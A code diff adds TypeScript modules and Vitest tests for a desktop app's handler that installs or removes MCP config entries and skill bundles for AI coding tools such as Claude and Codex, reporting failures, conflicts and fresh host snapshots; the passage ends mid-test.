a/packages/desktop/src/main/agent-registry-apply.test.ts b/packages/desktop/src/main/agent-registry-apply.test.tsnew file mode 100644index 000000000..24f2c2f63--- /dev/null+++ b/packages/desktop/src/main/agent-registry-apply.test.ts@@ -0,0 +1,499 @@+import type { HostSnapshot, SurfaceState } from '@inkeep/open-knowledge-core';+import type { IpcMainInvokeEvent } from 'electron';+import { describe, expect, test } from 'vitest';+import type {+ AgentIntegrationsApplyRequest,+ AgentIntegrationsApplyResult,+ McpWiringEditorId,+} from '../shared/ipc-channels.ts';+import {+ type AgentRegistryWriterSurfaces,+ applyIntents,+ createAgentIntegrationsApplyDelegate,+} from './agent-registry-apply.ts';++const PROJECT = '/proj';+const EVENT = { sender: { id: 1 } } as unknown as IpcMainInvokeEvent;++const CLAUDE_USER_MCP = 'claude/mcp/user/config-entry';+const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry';+const CLAUDE_PROJECT_SKILL = 'claude/skill/project/skill-bundle-copy';+const CLAUDE_USER_SKILL = 'claude/skill/user/skill-bundle-copy';+const CODEX_PROJECT_SKILL = 'codex/skill/project/skill-bundle-copy';+const CODEX_PROJECT_MCP = 'codex/mcp/project/config-entry';+const COPILOT_PROJECT_MCP = 'copilot/mcp/project/config-entry';++interface Calls {+ userWrites: McpWiringEditorId[];+ userRemovals: McpWiringEditorId[];+ projectWrites: Array<{ id: McpWiringEditorId; path: string }>;+ projectRemovals: Array<{ id: McpWiringEditorId; path: string }>;+ skillWrites: McpWiringEditorId[];+ skillRemovals: McpWiringEditorId[];+ userSkillWrites: McpWiringEditorId[];+ userSkillRemovals: McpWiringEditorId[];+ userSkillDecisions: boolean[];+}++interface SurfaceOverrides {+ userWriteAction?: 'written' | 'overwritten' | 'declined' | 'failed' | 'skipped-missing';+ userRemoveKind?: 'removed' | 'not-present' | 'left-foreign' | 'declined';+ projectWriteAction?: 'written' | 'overwritten' | 'declined' | 'failed';+ projectRemoveKind?: 'removed' | 'not-present' | 'left-foreign' | 'declined';+ projectWriteThrows?: boolean;+ skillWriteAction?: 'written' | 'overwritten' | 'skipped-unsupported' | 'failed';+ userSkillWriteAction?: 'written' | 'overwritten' | 'skipped-unsupported' | 'failed';+ userSkillPresentAnywhere?: boolean;+ userSkillRemoveAction?: 'removed' | 'not-present' | 'skipped-unsupported' | 'failed';+ projectConfigFor?: McpWiringEditorId[];+}++function makeSurfaces(+ overrides: SurfaceOverrides = {},+): AgentRegistryWriterSurfaces & { calls: Calls } {+ const calls: Calls = {+ userWrites: [],+ userRemovals: [],+ projectWrites: [],+ projectRemovals: [],+ skillWrites: [],+ skillRemovals: [],+ userSkillWrites: [],+ userSkillRemovals: [],+ userSkillDecisions: [],+ };+ const withProjectConfig = new Set<string>(+ overrides.projectConfigFor ?? ['claude', 'codex', 'cursor', 'opencode', 'pi'],+ );++ return {+ calls,+ global: {+ allEditorIds: ['claude', 'codex', 'cursor', 'copilot', 'opencode', 'claude-desktop'],+ writeUserMcpConfigs: async ({ editors }) => {+ calls.userWrites.push(...editors);+ return editors.map((editorId) => ({+ editorId,+ action: overrides.userWriteAction ?? ('written' as const),+ }));+ },+ removeUserMcpEntry: (editorId) => {+ calls.userRemovals.push(editorId);+ return { kind: overrides.userRemoveKind ?? ('removed' as const) };+ },+ writeUserSkill: (editorId) => {+ calls.userSkillWrites.push(editorId);+ return { action: overrides.userSkillWriteAction ?? ('written' as const) };+ },+ userSkillPresentAnywhere: () => overrides.userSkillPresentAnywhere ?? false,+ recordUserSkillDecision: (enabled) => {+ calls.userSkillDecisions.push(enabled);+ },+ removeUserSkill: (editorId) => {+ calls.userSkillRemovals.push(editorId);+ return { action: overrides.userSkillRemoveAction ?? ('removed' as const) };+ },+ },+ project: {+ projectConfigPath: (id, projectDir) =>+ withProjectConfig.has(id) ? `${projectDir}/${id}.config` : null,+ writeProjectMcpConfig: ({ id, projectPath }) => {+ if (overrides.projectWriteThrows) throw new Error('exploded');+ calls.projectWrites.push({ id, path: projectPath });+ const action = overrides.projectWriteAction ?? 'written';+ if (action === 'failed') return { action: 'failed', error: 'disk full' };+ if (action === 'declined') return { action: 'declined', reason: 'unparseable' };+ return { action };+ },+ removeProjectMcpEntry: (id, _projectDir, projectPath) => {+ calls.projectRemovals.push({ id, path: projectPath });+ return { kind: overrides.projectRemoveKind ?? 'removed' } as ReturnType<+ AgentRegistryWriterSurfaces['project']['removeProjectMcpEntry']+ >;+ },+ writeProjectSkill: (id) => {+ calls.skillWrites.push(id);+ const action = overrides.skillWriteAction ?? 'written';+ return action === 'failed' ? { action: 'failed', error: 'nope' } : { action };+ },+ removeProjectSkill: (id) => {+ calls.skillRemovals.push(id);+ return { action: 'removed' };+ },+ },+ };+}++function snapshotWith(states: Record<string, SurfaceState>): HostSnapshot {+ return {+ probes: {+ env: 'desktop',+ satisfiers: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state }])),+ },+ detection: { detected: ['claude', 'codex', 'copilot'], probed: true },+ };+}++function want(satisfierId: string): AgentIntegrationsApplyRequest['intents'][number] {+ return { satisfierId, desired: 'present' };+}++function drop(satisfierId: string): AgentIntegrationsApplyRequest['intents'][number] {+ return { satisfierId, desired: 'absent' };+}++async function apply(+ surfaces: AgentRegistryWriterSurfaces,+ intents: AgentIntegrationsApplyRequest['intents'],+ states: Record<string, SurfaceState>,+ projectDir: string | null = PROJECT,+) {+ return applyIntents(+ { intents },+ { surfaces, projectDir, snapshot: async () => snapshotWith(states) },+ );+}++function actionFor(+ report: Awaited<ReturnType<typeof applyIntents>>['report'],+ satisfierId: string,+) {+ return report.actions.find((entry) => entry.satisfierId === satisfierId);+}++describe('applyIntents on the desktop host', () => {+ test('a project MCP intent runs the project MCP writer', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [want(CLAUDE_PROJECT_MCP)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ });++ expect(surfaces.calls.projectWrites).toEqual([+ { id: 'claude', path: `${PROJECT}/claude.config` },+ ]);+ expect(actionFor(report, CLAUDE_PROJECT_MCP)?.action).toBe('written');+ });++ test('a user MCP intent runs the user-global writer', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [want(CLAUDE_USER_MCP)], {+ [CLAUDE_USER_MCP]: 'absent',+ });++ expect(surfaces.calls.userWrites).toEqual(['claude']);+ expect(actionFor(report, CLAUDE_USER_MCP)?.action).toBe('written');+ });++ test('a shared workspace file is written through the editor that owns it', async () => {+ const surfaces = makeSurfaces();++ await apply(surfaces, [want(COPILOT_PROJECT_MCP), want(CLAUDE_PROJECT_MCP)], {+ [COPILOT_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_MCP]: 'absent',+ });++ expect(surfaces.calls.projectWrites).toEqual([+ { id: 'claude', path: `${PROJECT}/claude.config` },+ { id: 'claude', path: `${PROJECT}/claude.config` },+ ]);+ });++ test('a prerequisite is written before the skill that needs it', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [want(CLAUDE_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_PROJECT_SKILL]: 'absent',+ });++ expect(surfaces.calls.projectWrites).toHaveLength(1);+ expect(surfaces.calls.skillWrites).toEqual(['claude']);+ expect(actionFor(report, CLAUDE_PROJECT_MCP)?.origin).toBeUndefined();+ expect(report.actions.map((entry) => entry.satisfierId)).toEqual([+ CLAUDE_PROJECT_MCP,+ CLAUDE_PROJECT_SKILL,+ ]);+ });++ test('one failed write does not stop the rest of the batch', async () => {+ const surfaces = makeSurfaces({ projectWriteAction: 'failed' });++ const { report } = await apply(surfaces, [want(CLAUDE_PROJECT_MCP), want(CLAUDE_USER_MCP)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_USER_MCP]: 'absent',+ });++ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toMatchObject({+ action: 'failed',+ errorId: 'write-failed',+ });+ expect(actionFor(report, CLAUDE_USER_MCP)?.action).toBe('written');+ });++ test('a writer that throws is reported, and the batch still finishes', async () => {+ const surfaces = makeSurfaces({ projectWriteThrows: true });++ const { report } = await apply(surfaces, [want(CLAUDE_PROJECT_MCP), want(CLAUDE_USER_MCP)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ [CLAUDE_USER_MCP]: 'absent',+ });++ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toMatchObject({+ action: 'failed',+ errorId: 'executor-threw',+ });+ expect(actionFor(report, CLAUDE_USER_MCP)?.action).toBe('written');+ });++ test('a partial failure still comes back with a fresh snapshot', async () => {+ const surfaces = makeSurfaces({ projectWriteAction: 'failed' });++ const { snapshot } = await apply(surfaces, [want(CLAUDE_PROJECT_MCP)], {+ [CLAUDE_PROJECT_MCP]: 'absent',+ });++ expect(snapshot.probes.satisfiers[CLAUDE_PROJECT_MCP]).toEqual({ state: 'absent' });+ expect(snapshot.detection.probed).toBe(true);+ });++ test('an entry OK does not own is left alone, not clobbered', async () => {+ const surfaces = makeSurfaces({ projectRemoveKind: 'left-foreign' });++ const { report } = await apply(surfaces, [drop(CLAUDE_PROJECT_MCP)], {+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [COPILOT_PROJECT_MCP]: 'absent',+ });++ expect(actionFor(report, CLAUDE_PROJECT_MCP)).toMatchObject({+ action: 'skipped-foreign',+ errorId: 'foreign-artifact',+ });+ });++ test('removing something that was never there is a no-op, not a failure', async () => {+ const surfaces = makeSurfaces({ userRemoveKind: 'not-present' });++ const { report } = await apply(surfaces, [drop(CLAUDE_USER_MCP)], {+ [CLAUDE_USER_MCP]: 'satisfied',+ });++ expect(actionFor(report, CLAUDE_USER_MCP)?.action).toBe('no-op');+ });++ test('an editor with no project surface here reports a missing surface', async () => {+ const surfaces = makeSurfaces({ projectConfigFor: ['claude'] });++ const { report } = await apply(surfaces, [want(CODEX_PROJECT_MCP)], {+ [CODEX_PROJECT_MCP]: 'absent',+ });++ expect(actionFor(report, CODEX_PROJECT_MCP)).toMatchObject({+ action: 'skipped-missing',+ errorId: 'surface-missing',+ });+ expect(surfaces.calls.projectWrites).toEqual([]);+ });++ test('a project intent with no project open never reaches a writer', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(+ surfaces,+ [want(CLAUDE_PROJECT_MCP)],+ { [CLAUDE_PROJECT_MCP]: 'absent' },+ null,+ );++ expect(actionFor(report, CLAUDE_PROJECT_MCP)?.action).toBe('skipped-missing');+ expect(surfaces.calls.projectWrites).toEqual([]);+ });++ test('the user-global skill bundle installs into just the agent whose row it is', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [want(CLAUDE_USER_SKILL)], {+ [CLAUDE_USER_SKILL]: 'absent',+ });++ expect(actionFor(report, CLAUDE_USER_SKILL)).toMatchObject({ action: 'written' });+ expect(surfaces.calls.userSkillWrites).toEqual(['claude']);+ expect(surfaces.calls.skillWrites).toEqual([]);+ });++ test('a landed user-skill install records the decision the launch reclaim reads', async () => {+ const surfaces = makeSurfaces();++ await apply(surfaces, [want(CLAUDE_USER_SKILL)], { [CLAUDE_USER_SKILL]: 'absent' });++ expect(surfaces.calls.userSkillDecisions).toEqual([true]);+ });++ test('a removal that leaves a copy behind records nothing', async () => {+ const surfaces = makeSurfaces({ userSkillPresentAnywhere: true });++ await apply(surfaces, [drop(CLAUDE_USER_SKILL)], { [CLAUDE_USER_SKILL]: 'satisfied' });++ expect(surfaces.calls.userSkillDecisions).toEqual([]);+ });++ test('a removal that empties the last copy records false', async () => {+ const surfaces = makeSurfaces({ userSkillPresentAnywhere: false });++ await apply(surfaces, [drop(CLAUDE_USER_SKILL)], { [CLAUDE_USER_SKILL]: 'satisfied' });++ expect(surfaces.calls.userSkillDecisions).toEqual([false]);+ });++ test('a failed user-skill write reports failed and does not record a decision', async () => {+ const surfaces = makeSurfaces({ userSkillWriteAction: 'failed' });++ const { report } = await apply(surfaces, [want(CLAUDE_USER_SKILL)], {+ [CLAUDE_USER_SKILL]: 'absent',+ });++ expect(actionFor(report, CLAUDE_USER_SKILL)).toMatchObject({+ action: 'failed',+ errorId: 'write-failed',+ });+ expect(surfaces.calls.userSkillDecisions).toEqual([]);+ });++ test('a unanimous project-skill batch records the decision the reclaim reads', async () => {+ const surfaces = makeSurfaces();++ await apply(surfaces, [drop(CLAUDE_PROJECT_SKILL), drop(CODEX_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_SKILL]: 'satisfied',+ [CODEX_PROJECT_SKILL]: 'satisfied',+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [CODEX_PROJECT_MCP]: 'satisfied',+ });+ });++ test('a batch that disagrees about the project skill records no decision', async () => {+ const surfaces = makeSurfaces();++ await apply(surfaces, [want(CLAUDE_PROJECT_SKILL), drop(CODEX_PROJECT_SKILL)], {+ [CLAUDE_PROJECT_SKILL]: 'absent',+ [CODEX_PROJECT_SKILL]: 'satisfied',+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [CODEX_PROJECT_MCP]: 'satisfied',+ });+ });++ test('a batch with no project-skill row leaves the recorded decision alone', async () => {+ const surfaces = makeSurfaces();++ await apply(surfaces, [want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'absent' });+ });++ test('re-running the same Save touches nothing the second time', async () => {+ const surfaces = makeSurfaces();++ await apply(surfaces, [want(CLAUDE_PROJECT_MCP)], { [CLAUDE_PROJECT_MCP]: 'satisfied' });++ expect(surfaces.calls.projectWrites).toEqual([]);+ expect(surfaces.calls.projectRemovals).toEqual([]);+ });++ test('a removal that would strand a peer is withheld rather than written', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [drop(CLAUDE_PROJECT_MCP)], {+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [COPILOT_PROJECT_MCP]: 'satisfied',+ });++ expect(report.conflicts.map((conflict) => conflict.kind)).toContain('unresolved-shared-copy');+ expect(surfaces.calls.projectRemovals).toEqual([]);+ expect(report.withheld).toContain(CLAUDE_PROJECT_MCP);+ });++ test('an unknown satisfier is a conflict, not a crash', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [want('not/a/real/satisfier')], {});++ expect(report.conflicts.map((conflict) => conflict.kind)).toEqual(['unknown-satisfier']);+ expect(report.actions).toEqual([]);+ });++ test('an empty batch is a no-op', async () => {+ const surfaces = makeSurfaces();++ const { report } = await apply(surfaces, [], {});++ expect(report).toEqual({ actions: [], conflicts: [], withheld: [] });+ });+});++function delegateFor(+ surfaces: AgentRegistryWriterSurfaces,+ opts: {+ available?: boolean;+ projectDir?: string | null;+ states?: Record<string, SurfaceState>;+ snapshot?: () => Promise<HostSnapshot>;+ } = {},+) {+ const delegate = createAgentIntegrationsApplyDelegate({+ available: opts.available ?? true,+ surfaces,+ resolveProjectDir: () => (opts.projectDir === undefined ? PROJECT : opts.projectDir),+ snapshot: opts.snapshot ?? (async () => snapshotWith(opts.states ?? {})),+ });+ return (request: AgentIntegrationsApplyRequest): Promise<AgentIntegrationsApplyResult> =>+ delegate(EVENT, request);+}++describe('the batch arm of the AI-tools channel', () => {+ test('a clean batch resolves ok with its report and snapshot', async () => {+ const surfaces = makeSurfaces();+ const apply = delegateFor(surfaces, { states: { [CLAUDE_PROJECT_MCP]: 'absent' } });++ const result = await apply({ intents: [want(CLAUDE_PROJECT_MCP)] });++ expect(result.ok).toBe(true);+ expect(result.report.actions).toHaveLength(1);+ expect(result.snapshot.detection.probed).toBe(true);+ });++ test('a failed item resolves not-ok but still carries the report and snapshot', async () => {+ const surfaces = makeSurfaces({ projectWriteAction: 'failed' });+ const apply = delegateFor(surfaces, { states: { [CLAUDE_PROJECT_MCP]: 'absent' } });++ const result = await apply({ intents: [want(CLAUDE_PROJECT_MCP)] });++ expect(result.ok).toBe(false);+ expect(result.report.actions[0]?.errorId).toBe('write-failed');+ expect(result.snapshot.probes.satisfiers[CLAUDE_PROJECT_MCP]).toEqual({ state: 'absent' });+ });++ test('an unavailable build refuses to write anything', async () => {+ const surfaces = makeSurfaces();+ const apply = delegateFor(surfaces, {+ available: false,+ states: { [CLAUDE_PROJECT_MCP]: 'absent' },+ });++ const result = await apply({ intents: [want(CLAUDE_PROJECT_MCP)] });++ expect(result).toMatchObject({ ok: false, unavailable: true });+ expect(surfaces.calls.projectWrites).toEqual([]);+ });++ test('a snapshot that cannot be taken claims nothing rather than guessing', async () => {+ const surfaces = makeSurfaces();+ const apply = delegateFor(surfaces, {+ snapshot: async () => {+ throw new Error('probe exploded');+ },+ });++ const result = await apply({ intents: [want(CLAUDE_PROJECT_MCP)] });++ expect(result.snapshot.detection).toEqual({ detected: [], probed: false });+ expect(result.snapshot.probes.satisfiers).toEqual({});+ });+});diff --git a/packages/desktop/src/main/agent-registry-apply.ts b/packages/desktop/src/main/agent-registry-apply.tsnew file mode 100644index 000000000..5d5d5b6f3--- /dev/null+++ b/packages/desktop/src/main/agent-registry-apply.ts@@ -0,0 +1,412 @@+import {+ type AppliedStep,+ type ApplyErrorId,+ type ApplyReport,+ buildConnectionsView,+ type EditorId,+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ type ExecutedOutcome,+ executePlan,+ type HostSnapshot,+ type PlannedStep,+ parsePathId,+ planIntents,+ type SatisfierId,+ type StepExecutor,+} from '@inkeep/open-knowledge-core';+import type { IpcMainInvokeEvent } from 'electron';+import type {+ AgentIntegrationsApplyRequest,+ AgentIntegrationsApplyResult,+ McpWiringEditorId,+} from '../shared/ipc-channels.ts';+import type { IntegrationsCliSurface } from './integrations-settings.ts';+import { logIpcError } from './ipc-log.ts';+import type { ProjectIntegrationsCliSurface } from './project-integrations-settings.ts';++const CHANNEL = 'ok:integrations:dispatch';++export type GlobalWriterSurface = Pick<+ IntegrationsCliSurface,+ | 'allEditorIds'+ | 'writeUserMcpConfigs'+ | 'removeUserMcpEntry'+ | 'writeUserSkill'+ | 'removeUserSkill'+ | 'recordUserSkillDecision'+ | 'userSkillPresentAnywhere'+>;++export type ProjectWriterSurface = Pick<+ ProjectIntegrationsCliSurface,+ | 'projectConfigPath'+ | 'writeProjectMcpConfig'+ | 'removeProjectMcpEntry'+ | 'writeProjectSkill'+ | 'removeProjectSkill'+>;++export interface AgentRegistryWriterSurfaces {+ readonly global: GlobalWriterSurface;+ readonly project: ProjectWriterSurface;+}++function fail(errorId: ApplyErrorId): ExecutedOutcome {+ return { action: 'failed', errorId };+}++function logWriteFailure(+ logger: AgentIntegrationsLogger,+ editor: McpWiringEditorId,+ reason: string | undefined,+): void {+ logger.warn('skill write failed', { channel: CHANNEL, editor, reason: reason ?? '' });+}++function missing(): ExecutedOutcome {+ return { action: 'skipped-missing', errorId: 'surface-missing' };+}++function locationEditor(step: PlannedStep): EditorId | null {+ if (step.pathId === undefined) return null;+ const location = parsePathId(step.pathId);+ if (location === null || location.kind === 'central-skill-store') return null;+ return location.editor;+}++function applyUserMcp(+ global: GlobalWriterSurface,+ editor: McpWiringEditorId,+ desired: PlannedStep['desired'],+): ExecutedOutcome | Promise<ExecutedOutcome> {+ if (!global.allEditorIds.includes(editor)) return missing();++ if (desired === 'absent') {+ switch (global.removeUserMcpEntry(editor).kind) {+ case 'removed':+ return { action: 'removed' };+ case 'not-present':+ return { action: 'no-op' };+ case 'left-foreign':+ return { action: 'skipped-foreign', errorId: 'foreign-artifact' };+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' };+ }+ }++ return global.writeUserMcpConfigs({ editors: [editor] }).then((results) => {+ const result = results.find((entry) => entry.editorId === editor);+ if (result === undefined) return fail('write-failed');+ switch (result.action) {+ case 'written':+ case 'overwritten':+ return { action: result.action };+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' };+ case 'skipped-missing':+ return missing();+ case 'skipped-flag':+ return { action: 'skipped-unsupported', errorId: 'no-writer' };+ case 'failed':+ return fail('write-failed');+ }+ });+}++function applyProjectMcp(+ project: ProjectWriterSurface,+ editor: McpWiringEditorId,+ projectDir: string,+ desired: PlannedStep['desired'],+): ExecutedOutcome {+ const projectPath = project.projectConfigPath(editor, projectDir);+ if (projectPath === null) return missing();++ if (desired === 'absent') {+ switch (project.removeProjectMcpEntry(editor, projectDir, projectPath).kind) {+ case 'removed':+ return { action: 'removed' };+ case 'not-present':+ return { action: 'no-op' };+ case 'left-foreign':+ return { action: 'skipped-foreign', errorId: 'foreign-artifact' };+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' };+ }+ }++ const result = project.writeProjectMcpConfig({ id: editor, projectDir, projectPath });+ switch (result.action) {+ case 'written':+ case 'overwritten':+ return { action: result.action };+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' };+ case 'failed':+ return fail('write-failed');+ }+}++function applyProjectSkill(+ project: ProjectWriterSurface,+ editor: McpWiringEditorId,+ projectDir: string,+ desired: PlannedStep['desired'],+ logger: AgentIntegrationsLogger,+): ExecutedOutcome {+ if (desired === 'absent') {+ const removed = project.removeProjectSkill(editor, projectDir);+ switch (removed.action) {+ case 'removed':+ return { action: 'removed' };+ case 'not-present':+ return { action: 'no-op' };+ case 'skipped-unsupported':+ return missing();+ case 'failed':+ logWriteFailure(logger, editor, removed.error);+ return fail('write-failed');+ }+ }++ const written = project.writeProjectSkill(editor, projectDir);+ switch (written.action) {+ case 'written':+ case 'overwritten':+ return { action: written.action };+ case 'skipped-unsupported':+ return missing();+ case 'skipped-prerequisite':+ return { action: 'skipped-prerequisite', errorId: 'dependency-failed' };+ case 'failed':+ logWriteFailure(logger, editor, written.error);+ return fail('write-failed');+ }+}++function applyUserSkill(+ global: GlobalWriterSurface,+ editor: McpWiringEditorId,+ desired: PlannedStep['desired'],+ logger: AgentIntegrationsLogger,+): ExecutedOutcome {+ if (desired === 'absent') {+ const removed = global.removeUserSkill(editor);+ switch (removed.action) {+ case 'removed':+ return { action: 'removed' };+ case 'not-present':+ return { action: 'no-op' };+ case 'skipped-unsupported':+ return missing();+ case 'failed':+ logWriteFailure(logger, editor, removed.error);+ return fail('write-failed');+ }+ }+ const written = global.writeUserSkill(editor);+ switch (written.action) {+ case 'written':+ case 'overwritten':+ return { action: written.action };+ case 'skipped-unsupported':+ return missing();+ case 'failed':+ logWriteFailure(logger, editor, written.error);+ return fail('write-failed');+ }+}++interface DesktopStepExecutorOptions {+ readonly surfaces: AgentRegistryWriterSurfaces;+ readonly projectDir: string | null;+ readonly logger: AgentIntegrationsLogger;+}++function createDesktopStepExecutor(options: DesktopStepExecutorOptions): StepExecutor {+ const { surfaces, projectDir } = options;++ return (step) => {+ const editor = locationEditor(step);+ if (editor === null) return { action: 'skipped-unsupported', errorId: 'no-writer' };++ if (step.scope === 'user') {+ return step.piece === 'mcp'+ ? applyUserMcp(surfaces.global, editor, step.desired)+ : applyUserSkill(surfaces.global, editor, step.desired, options.logger);+ }+ if (step.scope !== 'project') return { action: 'skipped-unsupported', errorId: 'no-writer' };+ if (projectDir === null) return missing();++ return step.piece === 'mcp'+ ? applyProjectMcp(surfaces.project, editor, projectDir, step.desired)+ : applyProjectSkill(surfaces.project, editor, projectDir, step.desired, options.logger);+ };+}++function userSkillOutcome(actions: readonly AppliedStep[]): 'installed' | 'removed' | null {+ const steps = actions.filter((action) => action.piece === 'skill' && action.scope === 'user');+ if (steps.some((s) => s.action === 'written' || s.action === 'overwritten')) return 'installed';+ if (steps.some((s) => s.action === 'removed')) return 'removed';+ return null;+}++export interface ApplyIntentsOptions {+ readonly surfaces: AgentRegistryWriterSurfaces;+ readonly projectDir: string | null;+ readonly logger?: AgentIntegrationsLogger;+ readonly snapshot: () => Promise<HostSnapshot>;+}++export async function applyIntents(+ request: AgentIntegrationsApplyRequest | null | undefined,+ options: ApplyIntentsOptions,+): Promise<{ report: ApplyReport; snapshot: HostSnapshot }> {+ const before = await options.snapshot();+ const view = buildConnectionsView({ probes: before.probes, detection: before.detection });++ const intents = (Array.isArray(request?.intents) ? request.intents : []).map((intent) => ({+ satisfierId: intent?.satisfierId as SatisfierId,+ desired: intent?.desired,+ }));++ const report = await executePlan(+ planIntents(intents, view),+ createDesktopStepExecutor({+ surfaces: options.surfaces,+ projectDir: options.projectDir,+ logger: options.logger ?? DEFAULT_LOGGER,+ }),+ );++ const userSkill = userSkillOutcome(report.actions);+ if (userSkill === 'installed') {+ options.surfaces.global.recordUserSkillDecision?.(true);+ } else if (userSkill === 'removed' && !options.surfaces.global.userSkillPresentAnywhere()) {+ options.surfaces.global.recordUserSkillDecision?.(false);+ }++ return { report, snapshot: await options.snapshot() };+}++interface AgentIntegrationsLogger {+ warn(msg: string, ctx?: object): void;+}++const DEFAULT_LOGGER: AgentIntegrationsLogger = {+ warn: (msg, ctx) => console.warn('[agent-integrations-apply]', msg, ctx ?? ''),+};++export interface AgentIntegrationsApplyDelegateOpts {+ available: boolean;+ surfaces: AgentRegistryWriterSurfaces;+ resolveProjectDir(event: IpcMainInvokeEvent): string | null;+ snapshot(projectDir: string | null): Promise<HostSnapshot>;+ logger?: AgentIntegrationsLogger;+}++export type AgentIntegrationsApplyDelegate = (+ event: IpcMainInvokeEvent,+ request: AgentIntegrationsApplyRequest,+) => Promise<AgentIntegrationsApplyResult>;++const EMPTY_REPORT: ApplyReport = { actions: [], conflicts: [], withheld: [] };+const EMPTY_SNAPSHOT: HostSnapshot = {+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+};++export function createAgentIntegrationsApplyDelegate(+ opts: AgentIntegrationsApplyDelegateOpts,+): AgentIntegrationsApplyDelegate {+ const { available, surfaces, resolveProjectDir, logger = DEFAULT_LOGGER } = opts;++ async function safeSnapshot(projectDir: string | null): Promise<HostSnapshot> {+ try {+ return await opts.snapshot(projectDir);+ } catch (err) {+ logger.warn('host snapshot failed', { err });+ return EMPTY_SNAPSHOT;+ }+ }++ async function run(+ event: IpcMainInvokeEvent,+ request: AgentIntegrationsApplyRequest,+ ): Promise<AgentIntegrationsApplyResult> {+ let projectDir: string | null;+ try {+ projectDir = resolveProjectDir(event);+ } catch (err) {+ logger.warn('resolveProjectDir threw', { err });+ projectDir = null;+ }++ if (!available) {+ const snapshot = await safeSnapshot(projectDir);+ logIpcError({+ event: 'ipc.error',+ channel: CHANNEL,+ reason: 'apply-unavailable',+ handler: 'agentIntegrationsApply',+ });+ return {+ ok: false,+ error: 'Managing AI tool connections is unavailable in this build.',+ unavailable: true,+ report: EMPTY_REPORT,+ snapshot,+ };+ }++ const { report, snapshot } = await applyIntents(request, {+ surfaces,+ projectDir,+ snapshot: () => safeSnapshot(projectDir),+ logger,+ });++ const failed = report.actions.filter((action) => action.errorId !== undefined);+ if (failed.length > 0 || report.conflicts.length > 0) {+ logIpcError({+ event: 'ipc.error',+ channel: CHANNEL,+ reason: 'apply-partial',+ handler: 'agentIntegrationsApply',+ cause: {+ failed: failed.map((action) => `${action.satisfierId}:${action.errorId}`),+ conflicts: report.conflicts.map((conflict) => conflict.kind),+ },+ });+ return {+ ok: false,+ error: 'Some AI tool connections could not be changed.',+ report,+ snapshot,+ };+ }++ return { ok: true, report, snapshot };+ }++ return async (event, request) => {+ try {+ return await run(event, request);+ } catch (err) {+ logIpcError({+ event: 'ipc.error',+ channel: CHANNEL,+ reason: 'apply-threw',+ handler: 'agentIntegrationsApply',+ cause: err,+ });+ return {+ ok: false,+ error: err instanceof Error ? err.message : String(err),+ report: EMPTY_REPORT,+ snapshot: EMPTY_SNAPSHOT,+ };+ }+ };+}diff --git a/packages/desktop/src/main/agent-registry-probes.test.ts b/packages/desktop/src/main/agent-registry-probes.test.tsnew file mode 100644index 000000000..97532667e--- /dev/null+++ b/packages/desktop/src/main/agent-registry-probes.test.ts@@ -0,0 +1,96 @@+import { checkProbeCoverage, type ProbeWorkItem } from '@inkeep/open-knowledge-core';+import { describe, expect, it } from 'vitest';+import {+ collectDesktopHostSnapshot,+ detectAgentsForRegistry,+ withoutProjectScope,+} from './agent-registry-probes.ts';+import type { EditorPresenceProbes } from './integrations-settings.ts';++const NOTHING_ON_THIS_MACHINE: EditorPresenceProbes = { cliOnPath: {}, schemeHandler: {} };++const answersEverything = (_item: ProbeWorkItem) => ({ state: 'absent' }) as const;++describe('detection', () => {+ it('reports the agents the presence signals prove, in registry order', async () => {+ const snapshot = await detectAgentsForRegistry(async () => ({+ cliOnPath: { codex: true, claude: true },+ schemeHandler: {},+ }));+ expect(snapshot).toEqual({ detected: ['claude', 'codex'], probed: true });+ });++ it('separates found-nothing from could-not-look', async () => {+ const found = await detectAgentsForRegistry(async () => NOTHING_ON_THIS_MACHINE);+ expect(found).toEqual({ detected: [], probed: true });++ const failed = await detectAgentsForRegistry(async () => {+ throw new Error('login shell timed out');+ });+ expect(failed).toEqual({ detected: [], probed: false });+ });++ it('claims nothing for an id that is not an agent OK ships an integration for', async () => {+ const snapshot = await detectAgentsForRegistry(async () => ({+ cliOnPath: { 'some-other-tool': true },+ schemeHandler: {},+ }));+ expect(snapshot.detected).toEqual([]);+ });++ it('reports an agent as absent when its signals say nothing, whatever OK has written', async () => {+ const snapshot = await detectAgentsForRegistry(async () => NOTHING_ON_THIS_MACHINE);+ expect(snapshot.detected).not.toContain('claude');+ });+});++describe('the host snapshot', () => {+ it('answers satisfiers through the resolver it was given', async () => {+ const { probes } = await collectDesktopHostSnapshot({+ resolve: answersEverything,+ probeEditorPresence: async () => NOTHING_ON_THIS_MACHINE,+ });+ expect(checkProbeCoverage(Object.keys(probes.satisfiers))).toEqual({+ missing: [],+ unclaimed: [],+ });+ expect(probes.satisfiers['claude/mcp/user/config-entry']).toEqual({ state: 'absent' });+ expect(probes.env).toBe('desktop');+ });++ it('carries detection alongside the probe answers', async () 